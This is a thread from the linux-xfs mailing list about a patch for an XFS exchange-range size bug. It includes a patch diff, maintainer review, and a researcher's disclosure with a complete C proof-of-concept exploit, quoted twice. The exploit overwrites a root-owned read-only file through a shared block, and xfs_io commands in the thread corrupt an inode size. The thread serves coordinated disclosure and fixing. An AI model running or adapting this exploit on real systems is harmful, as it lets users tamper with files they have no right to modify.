file1 i_size 8192 i_disk_size 4096 -> [200] [100] hole
^^^^
one block by the size, two are mapped, and the second
one is shared with peer
3. EXCHANGE_RANGE file1 against donor, both offsets 0, length 4096. By
i_disk_size this is two one-block files exchanging everything, so
xmi_can_exchange_reflink_flags() agrees:
file1 i_disk_size 4096 reflink CLEARED -> [300] [100] hole
donor -> [200]
Block 100 is still shared with peer.
4. pwrite(file1, 4096, 4096), file1's second block.
xfs_is_cow_inode(file1) is false, so no CoW:
peer size 4096 -> [100] new contents
PoC, run after applying your fix:
$ head -c 4096 /dev/zero | tr '\0' 'P' > peer
$ sudo chown root:root peer && sudo chmod 0644 peer
$ ./xfs_exchrange_reflink_after_fix
peer uid 0 mode 0644 size 4096, block size 4096
start peer [32] file1 isize 12288 [13] [14] [15]
1 FICLONERANGE peer [32] file1 isize 12288 [13] [32] [15]
2 EXCHANGE_RANGE TO_EOF peer [32] file1 isize 8192 [13] [32] [0]
3 EXCHANGE_RANGE peer [32] file1 isize 8192 [24] [32] [0]
4 pwrite(file1, blksz) peer [32] file1 isize 8192 [24] [32] [0]
peer first byte P -> X PEER REWRITTEN
Content of xfs_exchrange_reflink_after_fix.c:
// SPDX-License-Identifier: GPL-2.0
/*
* Clears XFS_DIFLAG2_REFLINK from a file that still owns a shared block, on a
* kernel carrying "xfs: fix exchange-range-to-eof file size exchange".
*
* Needs reflink=1 and exchange=1, and a readable file called "peer" in the
* current directory. Brackets are physical block numbers from FIEMAP.
* Exits 0 if peer was rewritten, 1 if it survived, 2 on a setup error.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/vfs.h>
#include <linux/fs.h>
#include <linux/fiemap.h>
#include <errno.h>
#ifndef FICLONERANGE
#define FICLONERANGE _IOW(0x94, 13, struct file_clone_range)
#endif
/* fs/xfs/libxfs/xfs_fs.h */
struct xfs_exchange_range {
__s32 file1_fd;
__u32 pad;
__u64 file1_offset;
__u64 file2_offset;
__u64 length;
__u64 flags;
};
#define XFS_IOC_EXCHANGE_RANGE _IOW('X', 129, struct xfs_exchange_range)
#define XFS_EXCHANGE_RANGE_TO_EOF (1ULL << 0)
static unsigned long blksz;
static int peer, f1;
static unsigned long long phys(int fd, unsigned long long off)
{
struct { struct fiemap f; struct fiemap_extent e[1]; } q;
memset(&q, 0, sizeof q);
q.f.fm_start = off;
q.f.fm_length = blksz;
q.f.fm_extent_count = 1;
if (ioctl(fd, FS_IOC_FIEMAP, &q.f) || q.f.fm_mapped_extents < 1)
return 0;
return (q.e[0].fe_physical + (off - q.e[0].fe_logical)) / blksz;
}
static void show(const char *tag)
{
struct stat st;
int i;
fstat(f1, &st);
printf("%-28s peer [%llu] file1 isize %5lld [", tag, phys(peer, 0),
(long long)st.st_size);
for (i = 0; i < 3; i++)
printf("%llu%s", phys(f1, (unsigned long long)i * blksz),
i == 2 ? "]\n" : "] [");
}
/* fsync == 0 leaves every block dirty, so i_disk_size stays 0 */
static int mkfile(const char *name, char fill, int blocks, int do_fsync)
{
char *buf;
int fd;
unlink(name);
fd = open(name, O_RDWR | O_CREAT | O_EXCL, 0600);
if (fd < 0)
return fprintf(stderr, "open %s: %m\n", name), -1;
buf = malloc((size_t)blocks * blksz);
memset(buf, fill, (size_t)blocks * blksz);
if (pwrite(fd, buf, (size_t)blocks * blksz, 0) !=
(ssize_t)((size_t)blocks * blksz))
return fprintf(stderr, "pwrite %s: %m\n", name), -1;
free(buf);
if (do_fsync)
fsync(fd);
return fd;
}
static int exchange(int fd2, int fd1, unsigned long long off1,
unsigned long long off2, unsigned long long len,
unsigned long long flags, const char *what)
{
struct xfs_exchange_range xr;
memset(&xr, 0, sizeof xr);
xr.file1_fd = fd1;
xr.file1_offset = off1;
xr.file2_offset = off2;
xr.length = len;
xr.flags = flags;
if (ioctl(fd2, XFS_IOC_EXCHANGE_RANGE, &xr)) {
fprintf(stderr, "%s: %m\n", what);
return -1;
}
return 0;
}
int main(void)
{
struct file_clone_range cr;
char before[65536], after[65536], *buf;
struct statfs sfs;
struct stat st;
int dirty, d2;
if (statfs(".", &sfs))
return fprintf(stderr, "statfs: %m\n"), 2;
if (sfs.f_type != 0x58465342) /* XFS_SUPER_MAGIC */
return fprintf(stderr,
"this directory is not on XFS (statfs type 0x%lx)\n",
(unsigned long)sfs.f_type), 2;
blksz = sfs.f_bsize;
if (blksz < 512 || blksz > 65536)
return fprintf(stderr, "unexpected block size %lu\n", blksz), 2;
peer = open("peer", O_RDONLY);
if (peer < 0)
return fprintf(stderr, "open peer: %m\n"), 2;
if (fstat(peer, &st))
return fprintf(stderr, "fstat peer: %m\n"), 2;
printf("peer uid %u mode 0%o size %lld, block size %lu\n",
st.st_uid, st.st_mode & 07777, (long long)st.st_size, blksz);
if ((unsigned long)st.st_size < blksz)
return fprintf(stderr,
"peer must be at least one block\n"), 2;
if (pread(peer, before, blksz, 0) != (ssize_t)blksz)
return fprintf(stderr, "pread peer: %m\n"), 2;
syncfs(peer);
/* file1: three blocks, clean, so its own i_disk_size is honest */
f1 = mkfile("file1", 'A', 3, 1);
if (f1 < 0)
return 2;
/* the lever: one block, entirely dirty, i_disk_size == 0 */
dirty = mkfile("dirty", 'D', 1, 0);
if (dirty < 0)
return 2;
d2 = mkfile("donor2", 'E', 1, 1);
if (d2 < 0)
return 2;
printf("\n");
show("start");
/* share peer's block into file1's middle block */
memset(&cr, 0, sizeof cr);
cr.src_fd = peer;
cr.src_offset = 0;
cr.src_length = blksz;
cr.dest_offset = blksz;
if (ioctl(f1, FICLONERANGE, &cr)) {
fprintf(stderr, "FICLONERANGE: %m\n");
if (errno == EOPNOTSUPP)
fprintf(stderr,
"this filesystem needs reflink=1, check xfs_info\n");
return 2;
}
show("1 FICLONERANGE");
/*
* ip1 = file1, ip2 = dirty. off2 == i_size(dirty) == blksz, so
* length = max(3*blksz - 2*blksz, blksz - blksz) = blksz
* and dirty's flush range [blksz, 2*blksz) is entirely past its EOF,
* so its page cache is never written back and i_disk_size stays 0:
* isize1 = 2*blksz + (0 - blksz) = blksz
* file1's ondisk size becomes one block while it still owns the
* shared block at offset blksz.
*/
if (exchange(dirty, f1, 2 * blksz, blksz, 0,
XFS_EXCHANGE_RANGE_TO_EOF, "exchange TO_EOF"))
return 2;
show("2 EXCHANGE_RANGE TO_EOF");
/*
* By i_disk_size file1 is now a one-block file, so this looks like a
* full-contents exchange of two one-block files and
* xmi_can_exchange_reflink_flags() clears the flag.
*/
if (exchange(f1, d2, 0, 0, blksz, 0, "exchange flag-clear"))
return 2;
show("3 EXCHANGE_RANGE");
/* in-place write to the still-shared block */
buf = malloc(blksz);
memset(buf, 'X', blksz);
if (pwrite(f1, buf, blksz, blksz) != (ssize_t)blksz)
return fprintf(stderr, "pwrite file1: %m\n"), 2;
fsync(f1);
show("4 pwrite(file1, blksz)");
posix_fadvise(peer, 0, 0, POSIX_FADV_DONTNEED);
if (pread(peer, after, blksz, 0) != (ssize_t)blksz)
return fprintf(stderr, "pread peer: %m\n"), 2;
printf("\npeer first byte %c -> %c %s\n", before[0], after[0],
memcmp(before, after, blksz) ? "PEER REWRITTEN" : "peer intact");
return memcmp(before, after, blksz) ? 0 : 1;
}
N.
> Link: https://lore.kernel.org/linux-xfs/1E196589-DEBE-40AC-AFEA-D420DAAB067F@doyensec.com/
> Reported-by: Norbert Szetei <norbert@doyensec.com>
> Cc: <stable@vger.kernel.org> # v6.10
> Fixes: 966ceafc7a4371 ("xfs: create deferred log items for file mapping exchanges")
> Signed-off-by: "Darrick J. Wong" <djwong@kernel.org>
> ---
> fs/xfs/libxfs/xfs_exchmaps.c | 8 ++++++--
> fs/xfs/xfs_exchrange.c | 10 ++++++----
> 2 files changed, 12 insertions(+), 6 deletions(-)
>
> diff --git a/fs/xfs/libxfs/xfs_exchmaps.c b/fs/xfs/libxfs/xfs_exchmaps.c
> index 6a66b6075e0af4..c9d9464e9d39f5 100644
> --- a/fs/xfs/libxfs/xfs_exchmaps.c
> +++ b/fs/xfs/libxfs/xfs_exchmaps.c
> @@ -987,6 +987,7 @@ xfs_exchmaps_init_intent(
> const struct xfs_exchmaps_req *req)
> {
> struct xfs_exchmaps_intent *xmi;
> + struct xfs_mount *mp = req->ip1->i_mount;
> unsigned int rs = 0;
>
> xmi = kmem_cache_zalloc(xfs_exchmaps_intent_cache,
> @@ -1006,9 +1007,12 @@ xfs_exchmaps_init_intent(
> }
>
> if (req->flags & XFS_EXCHMAPS_SET_SIZES) {
> + loff_t off1 = XFS_FSB_TO_B(mp, xmi->xmi_startoff1);
> + loff_t off2 = XFS_FSB_TO_B(mp, xmi->xmi_startoff2);
> +
> xmi->xmi_flags |= XFS_EXCHMAPS_SET_SIZES;
> - xmi->xmi_isize1 = req->ip2->i_disk_size;
> - xmi->xmi_isize2 = req->ip1->i_disk_size;
> + xmi->xmi_isize1 = off1 + (req->ip2->i_disk_size - off2);
> + xmi->xmi_isize2 = off2 + (req->ip1->i_disk_size - off1);
> }
>
> /* Record the state of each inode's reflink flag before the op. */
> diff --git a/fs/xfs/xfs_exchrange.c b/fs/xfs/xfs_exchrange.c
> index fafb4e3f065c75..a4016116f5f1a9 100644
> --- a/fs/xfs/xfs_exchrange.c
> +++ b/fs/xfs/xfs_exchrange.c
> @@ -296,11 +296,13 @@ xfs_exchrange_mappings(
> * the mappings, and updated the ondisk sizes.
> */
> if (fxr->flags & XFS_EXCHANGE_RANGE_TO_EOF) {
> - loff_t temp;
> + loff_t old_ip1_size = i_size_read(VFS_I(ip1));
> + loff_t old_ip2_size = i_size_read(VFS_I(ip2));
>
> - temp = i_size_read(VFS_I(ip2));
> - i_size_write(VFS_I(ip2), i_size_read(VFS_I(ip1)));
> - i_size_write(VFS_I(ip1), temp);
> + i_size_write(VFS_I(ip2), fxr->file2_offset +
> + (old_ip1_size - fxr->file1_offset));
> + i_size_write(VFS_I(ip1), fxr->file1_offset +
> + (old_ip2_size - fxr->file2_offset));
> }
>
> out_unlock:
^ permalink raw reply [flat|nested] 9+ messages in thread
* Re: [PATCH] xfs: fix exchange-range-to-eof file size exchange
2026-10-06 15:00 ` Darrick J. Wong
@ 2026-10-06 20:12 ` Norbert Szetei
2026-10-06 23:40 ` Darrick J. Wong
0 siblings, 1 reply; 9+ messages in thread
From: Norbert Szetei @ 2026-10-06 20:12 UTC (permalink / raw)
To: Darrick J. Wong
Cc: Dave Chinner, Carlos Maiolino, linux-xfs, Christoph Hellwig
> On Oct 6, 2026, at 17:00, Darrick J. Wong <djwong@kernel.org> wrote:
>
> On Tue, Oct 06, 2026 at 06:25:17PM +1100, Dave Chinner wrote:
>> On Mon, Oct 05, 2026 at 10:09:14PM -0700, Darrick J. Wong wrote:
>>> From: Darrick J. Wong <djwong@kernel.org>
>>>
>>> Norbert Szetei posted a patch containing an incomplete description of a
>>> bug in XFS_IOC_EXCHANGE_RANGE's TO_EOF flag. The bug tricks
>>> exchange-range into modifying a file so that it has shared blocks
>>> starting beyond EOF, which is never allowed because files never have
>>> written data beyond EOF, and you can only share written data blocks.
>>> This is key to all the incorrect behavior that follows.
>> ....
>>>
>>> Having confused the file sizes, the PoC uses a second exchange-range
>>> call on what looks like a non-reflinked single-block file. Because the
>>> file size is set incorrectly, exchange-range thinks it's exchanging the
>>> full contents of two files and clears the reflink flag on the broken
>>> file.
>>
>> Hmmm, another "exchrange reflink flag coherency" bug.
>>
>> Aside from fixing this specific issue, how can we prevent
>> other/future logic bugs from failing to set the reflink flag
>> appropriately and so never expose such a bug to userspace again?
>>
>> I'm thinking that we should not try to swap the reflink flag along
>> with the extents. Instead, if one of the files had the reflink flag
>> set before the swap, then we scan scan the extents of both files
>> after the swap for shared extents and set the reflink flags for each
>> file appropriately. EXCHRANGE isn't really performance sensitive,
>> so the cost of the refcount scans shouldn't be an issue.
>>
>> Setting the flags this way means it doesn't matter what file shared
>> extent(s) ends up in, the inode(s) that owns it(them) will always
>> have the reflink flag set correctly. Hence there is no way to use
>> EXCHRANGE creatively to expose this "didn't COW when it should have'
>> class of corruption bugs ever again...
>
> That is what Norbert's patch actually does. If you think removing
> xfs_exchmaps_clear_reflink and all the stuff that calls it is a good
> idea (and it probably is!) then let's move that discussion and review to
> that patch's thread.
I realized the patch I proposed is not complete on its own either.
XFS_IOC_SWAPEXT swaps the reflink flags as well, in xfs_swap_extents()
(xfs_bmap_util.c:1704), which my patch does not touch. The test guarding it
/* Verify all data are being swapped */
if (sxp->sx_offset != 0 ||
sxp->sx_length != ip->i_disk_size ||
sxp->sx_length != tip->i_disk_size) {
only proves the requested length matches i_disk_size, and i_disk_size does
not bound the inode's mappings, so xfs_swap_extent_rmap() leaves mappings
behind and the flags are traded anyway.
N.
> That enables an extending write of the broken file to rewrite the
>>> shared block that's just past EOF. This has become known colloquially
>>> as refluxfs.
>>>
>>> Once the file sizes are set correctly, the second exchange-range no
>>> longer thinks that it's doing a full-contents swap, so it won't clear
>>> the reflink flag on either of its file arguments.
>>>
>>> Link: https://lore.kernel.org/linux-xfs/1E196589-DEBE-40AC-AFEA-D420DAAB067F@doyensec.com/
>>> Reported-by: Norbert Szetei <norbert@doyensec.com>
>>> Cc: <stable@vger.kernel.org> # v6.10
>>> Fixes: 966ceafc7a4371 ("xfs: create deferred log items for file mapping exchanges")
>>> Signed-off-by: "Darrick J. Wong" <djwong@kernel.org>
>>> ---
>>> fs/xfs/libxfs/xfs_exchmaps.c | 8 ++++++--
>>> fs/xfs/xfs_exchrange.c | 10 ++++++----
>>> 2 files changed, 12 insertions(+), 6 deletions(-)
>>>
>>> diff --git a/fs/xfs/libxfs/xfs_exchmaps.c b/fs/xfs/libxfs/xfs_exchmaps.c
>>> index 6a66b6075e0af4..c9d9464e9d39f5 100644
>>> --- a/fs/xfs/libxfs/xfs_exchmaps.c
>>> +++ b/fs/xfs/libxfs/xfs_exchmaps.c
>>> @@ -987,6 +987,7 @@ xfs_exchmaps_init_intent(
>>> const struct xfs_exchmaps_req *req)
>>> {
>>> struct xfs_exchmaps_intent *xmi;
>>> + struct xfs_mount *mp = req->ip1->i_mount;
>>> unsigned int rs = 0;
>>>
>>> xmi = kmem_cache_zalloc(xfs_exchmaps_intent_cache,
>>> @@ -1006,9 +1007,12 @@ xfs_exchmaps_init_intent(
>>> }
>>>
>>> if (req->flags & XFS_EXCHMAPS_SET_SIZES) {
>>> + loff_t off1 = XFS_FSB_TO_B(mp, xmi->xmi_startoff1);
>>> + loff_t off2 = XFS_FSB_TO_B(mp, xmi->xmi_startoff2);
>>> +
>>> xmi->xmi_flags |= XFS_EXCHMAPS_SET_SIZES;
>>> - xmi->xmi_isize1 = req->ip2->i_disk_size;
>>> - xmi->xmi_isize2 = req->ip1->i_disk_size;
>>> + xmi->xmi_isize1 = off1 + (req->ip2->i_disk_size - off2);
>>> + xmi->xmi_isize2 = off2 + (req->ip1->i_disk_size - off1);
>>> }
>>
>> I think this really needs a comment to explain why the calculation
>> is structured this way. I think it is trying to set the file sizes
>> to the "destination offset" + "swap length from other file" because
>> the ranges in each file might be different lengths, but I could be
>> wrong...
>
> That's correct. I'll add that as a code comment.
>
> --D
>
>>
>> Cheers,
>>
>> Dave.
>> --
>> Dave Chinner
>> dgc@kernel.org
^ permalink raw reply [flat|nested] 9+ messages in thread
* Re: [PATCH] xfs: fix exchange-range-to-eof file size exchange
2026-10-06 20:02 ` Norbert Szetei
@ 2026-10-06 21:47 ` Darrick J. Wong
2026-10-06 22:43 ` Darrick J. Wong
0 siblings, 1 reply; 9+ messages in thread
From: Darrick J. Wong @ 2026-10-06 21:47 UTC (permalink / raw)
To: Norbert Szetei
Cc: Carlos Maiolino, linux-xfs, Christoph Hellwig, Dave Chinner
On Tue, Oct 06, 2026 at 10:02:26PM +0200, Norbert Szetei wrote:
> On Oct 6, 2026, at 07:09, Darrick J. Wong <djwong@kernel.org> wrote:
> >
> > From: Darrick J. Wong <djwong@kernel.org>
>
> Thanks for picking this up so fast, and for porting the reproducer to
> fstests.
>
> > Once the file sizes are set correctly, the second exchange-range no
> > longer thinks that it's doing a full-contents swap, so it won't clear
> > the reflink flag on either of its file arguments.
>
> The offsets are bounded against the incore i_size but subtracted from the
> ondisk i_disk_size, so a file that has not been written back gives
> xmi_isize1 = 0 + (0 - 12288).
<groan> How do we fix this??
--D
> For instance, you can do:
>
> $ xfs_io -f -c "pwrite -q 0 4096" -c fsync file1
> $ xfs_io -f -c "pwrite -q 0 12288" \
> -c "exchangerange -s 0 -d 12288 file1" dirty
> $ stat -c %s file1
> 0
> $ stat -c %i file1
> 131
> $ sudo xfs_io -r -c "bulkstat_single 131" . | grep bs_size
> bs_size = 18446744073709539328
>
> The reflink flag could be cleared too.
>
> Start:
> peer size 4096 -> [100]
> file1 size 12288 -> [200] [201] [202]
> dirty i_size 4096 i_disk_size 0
> donor size 4096 -> [300]
>
> 1. FICLONERANGE peer's block into file1's middle block:
>
> peer size 4096 -> [100]
> file1 size 12288 reflink flag set -> [200] [100] [202]
> ^^^^^
> both files own block 100
>
> 2. EXCHANGE_RANGE file1 against dirty, file1_offset 8192,
> file2_offset 4096, length 0, TO_EOF:
>
> length = max(12288 - 8192, 4096 - 4096) = 4096
> dirty's flush range [4096, 8191] is past its EOF, nothing written
> back, so i_disk_size is still 0:
>
> xmi_isize1 = 8192 + (0 - 4096) = 4096
>
> file1 i_size 8192 i_disk_size 4096 -> [200] [100] hole
> ^^^^
> one block by the size, two are mapped, and the second
> one is shared with peer
>
> 3. EXCHANGE_RANGE file1 against donor, both offsets 0, length 4096. By
> i_disk_size this is two one-block files exchanging everything, so
> xmi_can_exchange_reflink_flags() agrees:
>
> file1 i_disk_size 4096 reflink CLEARED -> [300] [100] hole
> donor -> [200]
>
> Block 100 is still shared with peer.
>
> 4. pwrite(file1, 4096, 4096), file1's second block.
> xfs_is_cow_inode(file1) is false, so no CoW:
>
> peer size 4096 -> [100] new contents
>
>
> PoC, run after applying your fix:
>
> $ head -c 4096 /dev/zero | tr '\0' 'P' > peer
> $ sudo chown root:root peer && sudo chmod 0644 peer
> $ ./xfs_exchrange_reflink_after_fix
>
> peer uid 0 mode 0644 size 4096, block size 4096
>
> start peer [32] file1 isize 12288 [13] [14] [15]
> 1 FICLONERANGE peer [32] file1 isize 12288 [13] [32] [15]
> 2 EXCHANGE_RANGE TO_EOF peer [32] file1 isize 8192 [13] [32] [0]
> 3 EXCHANGE_RANGE peer [32] file1 isize 8192 [24] [32] [0]
> 4 pwrite(file1, blksz) peer [32] file1 isize 8192 [24] [32] [0]
>
> peer first byte P -> X PEER REWRITTEN
>
> Content of xfs_exchrange_reflink_after_fix.c:
>
> // SPDX-License-Identifier: GPL-2.0
> /*
> * Clears XFS_DIFLAG2_REFLINK from a file that still owns a shared block, on a
> * kernel carrying "xfs: fix exchange-range-to-eof file size exchange".
> *
> * Needs reflink=1 and exchange=1, and a readable file called "peer" in the
> * current directory. Brackets are physical block numbers from FIEMAP.
> * Exits 0 if peer was rewritten, 1 if it survived, 2 on a setup error.
> */
> #define _GNU_SOURCE
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
> #include <unistd.h>
> #include <fcntl.h>
> #include <sys/ioctl.h>
> #include <sys/stat.h>
> #include <sys/vfs.h>
> #include <linux/fs.h>
> #include <linux/fiemap.h>
> #include <errno.h>
>
> #ifndef FICLONERANGE
> #define FICLONERANGE _IOW(0x94, 13, struct file_clone_range)
> #endif
>
> /* fs/xfs/libxfs/xfs_fs.h */
> struct xfs_exchange_range {
> __s32 file1_fd;
> __u32 pad;
> __u64 file1_offset;
> __u64 file2_offset;
> __u64 length;
> __u64 flags;
> };
> #define XFS_IOC_EXCHANGE_RANGE _IOW('X', 129, struct xfs_exchange_range)
> #define XFS_EXCHANGE_RANGE_TO_EOF (1ULL << 0)
>
>
> static unsigned long blksz;
> static int peer, f1;
>
> static unsigned long long phys(int fd, unsigned long long off)
> {
> struct { struct fiemap f; struct fiemap_extent e[1]; } q;
>
> memset(&q, 0, sizeof q);
> q.f.fm_start = off;
> q.f.fm_length = blksz;
> q.f.fm_extent_count = 1;
> if (ioctl(fd, FS_IOC_FIEMAP, &q.f) || q.f.fm_mapped_extents < 1)
> return 0;
> return (q.e[0].fe_physical + (off - q.e[0].fe_logical)) / blksz;
> }
>
> static void show(const char *tag)
> {
> struct stat st;
> int i;
>
> fstat(f1, &st);
> printf("%-28s peer [%llu] file1 isize %5lld [", tag, phys(peer, 0),
> (long long)st.st_size);
> for (i = 0; i < 3; i++)
> printf("%llu%s", phys(f1, (unsigned long long)i * blksz),
> i == 2 ? "]\n" : "] [");
> }
>
> /* fsync == 0 leaves every block dirty, so i_disk_size stays 0 */
> static int mkfile(const char *name, char fill, int blocks, int do_fsync)
> {
> char *buf;
> int fd;
>
> unlink(name);
> fd = open(name, O_RDWR | O_CREAT | O_EXCL, 0600);
> if (fd < 0)
> return fprintf(stderr, "open %s: %m\n", name), -1;
> buf = malloc((size_t)blocks * blksz);
> memset(buf, fill, (size_t)blocks * blksz);
> if (pwrite(fd, buf, (size_t)blocks * blksz, 0) !=
> (ssize_t)((size_t)blocks * blksz))
> return fprintf(stderr, "pwrite %s: %m\n", name), -1;
> free(buf);
> if (do_fsync)
> fsync(fd);
> return fd;
> }
>
> static int exchange(int fd2, int fd1, unsigned long long off1,
> unsigned long long off2, unsigned long long len,
> unsigned long long flags, const char *what)
> {
> struct xfs_exchange_range xr;
>
> memset(&xr, 0, sizeof xr);
> xr.file1_fd = fd1;
> xr.file1_offset = off1;
> xr.file2_offset = off2;
> xr.length = len;
> xr.flags = flags;
> if (ioctl(fd2, XFS_IOC_EXCHANGE_RANGE, &xr)) {
> fprintf(stderr, "%s: %m\n", what);
> return -1;
> }
> return 0;
> }
>
> int main(void)
> {
> struct file_clone_range cr;
> char before[65536], after[65536], *buf;
> struct statfs sfs;
> struct stat st;
> int dirty, d2;
>
> if (statfs(".", &sfs))
> return fprintf(stderr, "statfs: %m\n"), 2;
> if (sfs.f_type != 0x58465342) /* XFS_SUPER_MAGIC */
> return fprintf(stderr,
> "this directory is not on XFS (statfs type 0x%lx)\n",
> (unsigned long)sfs.f_type), 2;
> blksz = sfs.f_bsize;
> if (blksz < 512 || blksz > 65536)
> return fprintf(stderr, "unexpected block size %lu\n", blksz), 2;
>
> peer = open("peer", O_RDONLY);
> if (peer < 0)
> return fprintf(stderr, "open peer: %m\n"), 2;
> if (fstat(peer, &st))
> return fprintf(stderr, "fstat peer: %m\n"), 2;
> printf("peer uid %u mode 0%o size %lld, block size %lu\n",
> st.st_uid, st.st_mode & 07777, (long long)st.st_size, blksz);
> if ((unsigned long)st.st_size < blksz)
> return fprintf(stderr,
> "peer must be at least one block\n"), 2;
> if (pread(peer, before, blksz, 0) != (ssize_t)blksz)
> return fprintf(stderr, "pread peer: %m\n"), 2;
> syncfs(peer);
>
> /* file1: three blocks, clean, so its own i_disk_size is honest */
> f1 = mkfile("file1", 'A', 3, 1);
> if (f1 < 0)
> return 2;
> /* the lever: one block, entirely dirty, i_disk_size == 0 */
> dirty = mkfile("dirty", 'D', 1, 0);
> if (dirty < 0)
> return 2;
> d2 = mkfile("donor2", 'E', 1, 1);
> if (d2 < 0)
> return 2;
> printf("\n");
> show("start");
>
> /* share peer's block into file1's middle block */
> memset(&cr, 0, sizeof cr);
> cr.src_fd = peer;
> cr.src_offset = 0;
> cr.src_length = blksz;
> cr.dest_offset = blksz;
> if (ioctl(f1, FICLONERANGE, &cr)) {
> fprintf(stderr, "FICLONERANGE: %m\n");
> if (errno == EOPNOTSUPP)
> fprintf(stderr,
> "this filesystem needs reflink=1, check xfs_info\n");
> return 2;
> }
> show("1 FICLONERANGE");
>
> /*
> * ip1 = file1, ip2 = dirty. off2 == i_size(dirty) == blksz, so
> * length = max(3*blksz - 2*blksz, blksz - blksz) = blksz
> * and dirty's flush range [blksz, 2*blksz) is entirely past its EOF,
> * so its page cache is never written back and i_disk_size stays 0:
> * isize1 = 2*blksz + (0 - blksz) = blksz
> * file1's ondisk size becomes one block while it still owns the
> * shared block at offset blksz.
> */
> if (exchange(dirty, f1, 2 * blksz, blksz, 0,
> XFS_EXCHANGE_RANGE_TO_EOF, "exchange TO_EOF"))
> return 2;
> show("2 EXCHANGE_RANGE TO_EOF");
>
> /*
> * By i_disk_size file1 is now a one-block file, so this looks like a
> * full-contents exchange of two one-block files and
> * xmi_can_exchange_reflink_flags() clears the flag.
> */
> if (exchange(f1, d2, 0, 0, blksz, 0, "exchange flag-clear"))
> return 2;
> show("3 EXCHANGE_RANGE");
>
> /* in-place write to the still-shared block */
> buf = malloc(blksz);
> memset(buf, 'X', blksz);
> if (pwrite(f1, buf, blksz, blksz) != (ssize_t)blksz)
> return fprintf(stderr, "pwrite file1: %m\n"), 2;
> fsync(f1);
> show("4 pwrite(file1, blksz)");
>
> posix_fadvise(peer, 0, 0, POSIX_FADV_DONTNEED);
> if (pread(peer, after, blksz, 0) != (ssize_t)blksz)
> return fprintf(stderr, "pread peer: %m\n"), 2;
> printf("\npeer first byte %c -> %c %s\n", before[0], after[0],
> memcmp(before, after, blksz) ? "PEER REWRITTEN" : "peer intact");
> return memcmp(before, after, blksz) ? 0 : 1;
> }
>
> N.
>
> > Link: https://lore.kernel.org/linux-xfs/1E196589-DEBE-40AC-AFEA-D420DAAB067F@doyensec.com/
> > Reported-by: Norbert Szetei <norbert@doyensec.com>
> > Cc: <stable@vger.kernel.org> # v6.10
> > Fixes: 966ceafc7a4371 ("xfs: create deferred log items for file mapping exchanges")
> > Signed-off-by: "Darrick J. Wong" <djwong@kernel.org>
> > ---
> > fs/xfs/libxfs/xfs_exchmaps.c | 8 ++++++--
> > fs/xfs/xfs_exchrange.c | 10 ++++++----
> > 2 files changed, 12 insertions(+), 6 deletions(-)
> >
> > diff --git a/fs/xfs/libxfs/xfs_exchmaps.c b/fs/xfs/libxfs/xfs_exchmaps.c
> > index 6a66b6075e0af4..c9d9464e9d39f5 100644
> > --- a/fs/xfs/libxfs/xfs_exchmaps.c
> > +++ b/fs/xfs/libxfs/xfs_exchmaps.c
> > @@ -987,6 +987,7 @@ xfs_exchmaps_init_intent(
> > const struct xfs_exchmaps_req *req)
> > {
> > struct xfs_exchmaps_intent *xmi;
> > + struct xfs_mount *mp = req->ip1->i_mount;
> > unsigned int rs = 0;
> >
> > xmi = kmem_cache_zalloc(xfs_exchmaps_intent_cache,
> > @@ -1006,9 +1007,12 @@ xfs_exchmaps_init_intent(
> > }
> >
> > if (req->flags & XFS_EXCHMAPS_SET_SIZES) {
> > + loff_t off1 = XFS_FSB_TO_B(mp, xmi->xmi_startoff1);
> > + loff_t off2 = XFS_FSB_TO_B(mp, xmi->xmi_startoff2);
> > +
> > xmi->xmi_flags |= XFS_EXCHMAPS_SET_SIZES;
> > - xmi->xmi_isize1 = req->ip2->i_disk_size;
> > - xmi->xmi_isize2 = req->ip1->i_disk_size;
> > + xmi->xmi_isize1 = off1 + (req->ip2->i_disk_size - off2);
> > + xmi->xmi_isize2 = off2 + (req->ip1->i_disk_size - off1);
> > }
> >
> > /* Record the state of each inode's reflink flag before the op. */
> > diff --git a/fs/xfs/xfs_exchrange.c b/fs/xfs/xfs_exchrange.c
> > index fafb4e3f065c75..a4016116f5f1a9 100644
> > --- a/fs/xfs/xfs_exchrange.c
> > +++ b/fs/xfs/xfs_exchrange.c
> > @@ -296,11 +296,13 @@ xfs_exchrange_mappings(
> > * the mappings, and updated the ondisk sizes.
> > */
> > if (fxr->flags & XFS_EXCHANGE_RANGE_TO_EOF) {
> > - loff_t temp;
> > + loff_t old_ip1_size = i_size_read(VFS_I(ip1));
> > + loff_t old_ip2_size = i_size_read(VFS_I(ip2));
> >
> > - temp = i_size_read(VFS_I(ip2));
> > - i_size_write(VFS_I(ip2), i_size_read(VFS_I(ip1)));
> > - i_size_write(VFS_I(ip1), temp);
> > + i_size_write(VFS_I(ip2), fxr->file2_offset +
> > + (old_ip1_size - fxr->file1_offset));
> > + i_size_write(VFS_I(ip1), fxr->file1_offset +
> > + (old_ip2_size - fxr->file2_offset));
> > }
> >
> > out_unlock:
>
^ permalink raw reply [flat|nested] 9+ messages in thread
* Re: [PATCH] xfs: fix exchange-range-to-eof file size exchange
2026-10-06 21:47 ` Darrick J. Wong
@ 2026-10-06 22:43 ` Darrick J. Wong
0 siblings, 0 replies; 9+ messages in thread
From: Darrick J. Wong @ 2026-10-06 22:43 UTC (permalink / raw)
To: Norbert Szetei
Cc: Carlos Maiolino, linux-xfs, Christoph Hellwig, Dave Chinner
On Tue, Oct 06, 2026 at 02:47:49PM -0700, Darrick J. Wong wrote:
> On Tue, Oct 06, 2026 at 10:02:26PM +0200, Norbert Szetei wrote:
> > On Oct 6, 2026, at 07:09, Darrick J. Wong <djwong@kernel.org> wrote:
> > >
> > > From: Darrick J. Wong <djwong@kernel.org>
> >
> > Thanks for picking this up so fast, and for porting the reproducer to
> > fstests.
> >
> > > Once the file sizes are set correctly, the second exchange-range no
> > > longer thinks that it's doing a full-contents swap, so it won't clear
> > > the reflink flag on either of its file arguments.
> >
> > The offsets are bounded against the incore i_size but subtracted from the
> > ondisk i_disk_size, so a file that has not been written back gives
> > xmi_isize1 = 0 + (0 - 12288).
>
> <groan> How do we fix this??
>
> --D
>
> > For instance, you can do:
> >
> > $ xfs_io -f -c "pwrite -q 0 4096" -c fsync file1
> > $ xfs_io -f -c "pwrite -q 0 12288" \
> > -c "exchangerange -s 0 -d 12288 file1" dirty
> > $ stat -c %s file1
> > 0
> > $ stat -c %i file1
> > 131
> > $ sudo xfs_io -r -c "bulkstat_single 131" . | grep bs_size
